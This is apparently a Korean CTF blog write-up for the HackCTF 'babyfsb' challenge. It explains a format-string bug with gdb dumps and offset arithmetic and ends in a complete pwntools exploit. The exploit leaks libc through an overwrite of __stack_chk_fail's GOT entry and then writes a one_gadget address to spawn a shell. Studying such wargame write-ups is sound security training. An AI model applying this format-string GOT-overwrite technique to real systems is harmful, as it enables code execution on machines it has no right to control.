-
[Pwnable] babyfsbWargame/HackCTF 2020. 1. 10. 22:32
들어가며
you are sliver
문제에서fsb
를 다루고 자신감이 생겨서 도전한 문제이다.색다른 방식으로 libc를 leak함으로써 재미를 느낀 문제이다.
문제해석
gdb-peda$ pd main Dump of assembler code for function main: ... 0x00000000004006e5 <+63>: lea rax,[rbp-0x40] 0x00000000004006e9 <+67>: mov edx,0x40 0x00000000004006ee <+72>: mov rsi,rax 0x00000000004006f1 <+75>: mov edi,0x0 0x00000000004006f6 <+80>: call 0x400570 <read@plt> 0x00000000004006fb <+85>: lea rax,[rbp-0x40] 0x00000000004006ff <+89>: mov rdi,rax 0x0000000000400702 <+92>: mov eax,0x0 0x0000000000400707 <+97>: call 0x400560 <printf@plt> 0x000000000040070c <+102>: mov eax,0x0 0x0000000000400711 <+107>: mov rcx,QWORD PTR [rbp-0x8] 0x0000000000400715 <+111>: xor rcx,QWORD PTR fs:0x28 0x000000000040071e <+120>: je 0x400725 <main+127> 0x0000000000400720 <+122>: call 0x400550 <__stack_chk_fail@plt> ...
read로 stack에
0x40(64)
만큼 입력받고,rdi인자 하나
를 통해 printf 함수를 호출한다. <- 이때fsb
가 발생!그리고,
canary
가 걸려있어서 canary 값이 변조된다면__stack_chk_fail
함수가 호출된다.printf@got를 변조해봤자, 이후에 printf 함수가 나오지 않아 쓸모가 없다.
그러므로
__stack_chk_fail@got
를 가지고 다음과 같은 값을 얻어낼 것이다.1.
<libc_start_main+240> (main 함수의 ret)
주소 Leak ->libc_base
를 알아낼 수 있음.2. 동시에
__stack_chk_fail@got
를 main함수로 변조이렇게 하기 위해선 강제로
canary
값을 변조시켜야 한다.풀이
일단
you are silver
문제와 비슷하게offset
을 구해야 한다.root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/babyfsb(master)# ./babyfsb hello AAAAAAAA %6$p AAAAAAAA 0x4141414141414141
offset
은6
이며,__stack_chk_fail@got
가 들어가는offset
을 구해줘야 한다.%hn
은%hn
전까지 쓰여진 byte만큼을 해당 포인터에쓰기
작업을 수행한다.그러므로, payload를 짜고 그 길이를 확인한 후에
offset
을 구해야 한다.payload는 다음과 같다.
main = e.symbols['main'] main_low = main & 0xffff # offset 6 payload = '' payload += '%{}c'.format(main_low) # duplicate source payload += '%?$hn' # offset + (len(payload)) / 8 payload += '%??$p' # (libc_start_main+240 - &offset) / 8 + offset #print(len(payload)) # 16 payload += p64(stack_chk_fail) # duplicate target payload += "B"*(56-len(payload)) # make stack smash
__stack_chk_fail@got
함수가 나오기 전까지의 길이를 구해야 한다.여기서는
memory leak
을 위한%p
가 들어가 있으므로, 그것까지 길이에 넣는다.총 길이는
16
으로,offset 단위
를 맞춰주기 위해8
을 나누고 [2],offset(6)
을 더해준다. [8]다음으로 구해야 할 값은
<libc_start_main+240> 의 offset
이다.gdb-peda$ x/10gx $rsp 0x7ffe5c8ddbc0: 0x4141414141414141 0x000000000040070a 0x7ffe5c8ddbd0: 0x00007ffe5c8ddbfe 0x0000000000000000 0x7ffe5c8ddbe0: 0x0000000000400730 0x00000000004005b0 0x7ffe5c8ddbf0: 0x00007ffe5c8ddce0 0x3289ac255742dc00 0x7ffe5c8ddc00: 0x0000000000400730 0x00007f805d645830 gdb-peda$ x/gx $rbp+8 0x7ffe5c8ddc08: 0x00007f805d645830 gdb-peda$ x/gx 0x00007f805d645830 0x7f805d645830 <__libc_start_main+240>: 0x31000197f9e8c789 gdb-peda$ p/x ($rbp+8)-$rsp $1 = 0x48
offset
의 주소로부터<libc_start_main+240>
를 빼면0x48(72)
가 나온다.이를
offset 단위
로 맞추기 위해8
을 나누고 [9],offset(6)
을 더해준다. [15]이때, payload는 다음과 같다.
main = e.symbols['main'] main_low = main & 0xffff # offset 6 payload = '' payload += '%{}c'.format(main_low) # duplicate source payload += '%8$hn' # offset + (len(payload)) / 8 payload += '%15$p' # (libc_start_main+240 - &offset) / 8 + offset #print(len(payload)) # 16 payload += p64(stack_chk_fail) # duplicate target payload += "B"*(56-len(payload)) # make stack smash
main_low
를 구해준 이유는__stack_chk_fail
함수가 이전에 call 되지 않았기에,2byte
만을 변조하면 되기 때문이다.gdb-peda$ x/i 0x400550 0x400550 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x200aca] # 0x601020 gdb-peda$ x/gx 0x601020 0x601020: 0x0000000000400556 gdb-peda$ x/i *main 0x4006a6 <main>: push rbp
<libc_start_main+240>
주소가 leak되고, main함수로 가지는 것을 볼 수 있다.이제, libc_base를 알았으니 exploit 할 일만 남았다.
방식은
__stack_chk_fail@got
를oneshot gadget
으로 변조시키는 방법을 택했다.exploit.py
from pwn import * #r = process('./babyfsb') r = remote('ctf.j0n9hyun.xyz', 3032) e = ELF('./babyfsb') libc = ELF('./libc.so.6') main = e.symbols['main'] main_low = main & 0xffff stack_chk_fail = e.got['__stack_chk_fail'] libc_start_main_offset = libc.symbols['__libc_start_main'] # offset 6 payload = '' payload += '%{}c'.format(main_low) # duplicate source payload += '%8$hn' # offset + (len(payload)) / 8 payload += '%15$p' # (libc_start_main+240 - &offset) / 8 + offset #print(len(payload)) # 16 payload += p64(stack_chk_fail) # duplicate target payload += "B"*(56-len(payload)) # make stack smash r.sendlineafter('\n', payload) r.recvuntil('0x') leak = int(r.recv(12), 16) one_gadget = 0x45216 libc_base = (leak - 240) - libc_start_main_offset one_gadget = libc_base + one_gadget one_gadget_low = one_gadget & 0xffff one_gadget_middle = (one_gadget >> 16) & 0xffff one_gadget_high = (one_gadget >> 32) & 0xffff low = one_gadget_low if one_gadget_middle > one_gadget_low: middle = one_gadget_middle - one_gadget_low else: middle = (0x10000 + one_gadget_middle) - one_gadget_low if one_gadget_high > one_gadget_middle: high = one_gadget_high - one_gadget_middle else: high = (0x10000 + one_gadget_high) - one_gadget_middle # offset 6 payload = '' payload += '%{}c'.format(low) # duplicate source 1 payload += '%11$hn' # offset + (len(payload)) / 8 payload += '%{}c'.format(middle) # duplicate source 2 payload += '%12$hn' # offset + (len(payload)) / 8 + 1 payload += '%{}c'.format(high) # duplicate source 3 payload += '%13$hn' # offset + (len(payload)) / 8 + 2 payload += 'A'*(8 - (len(payload) % 8)) # padding #print(len(payload)) # 40 payload += p64(stack_chk_fail) # duplicate target 1 payload += p64(stack_chk_fail + 2) # duplicate target 2 payload += p64(stack_chk_fail + 4) # duplicate target 3 payload += "B"*(56-len(payload)) # make stack smash r.sendlineafter('\n', payload) r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] RTC (0) 2020.01.12 [Pwnable] SysROP (0) 2020.01.12 [Pwnable] You are silver (0) 2020.01.08 [Pwnable] UAF (0) 2020.01.05 [Pwnable] Look at me (0) 2020.01.01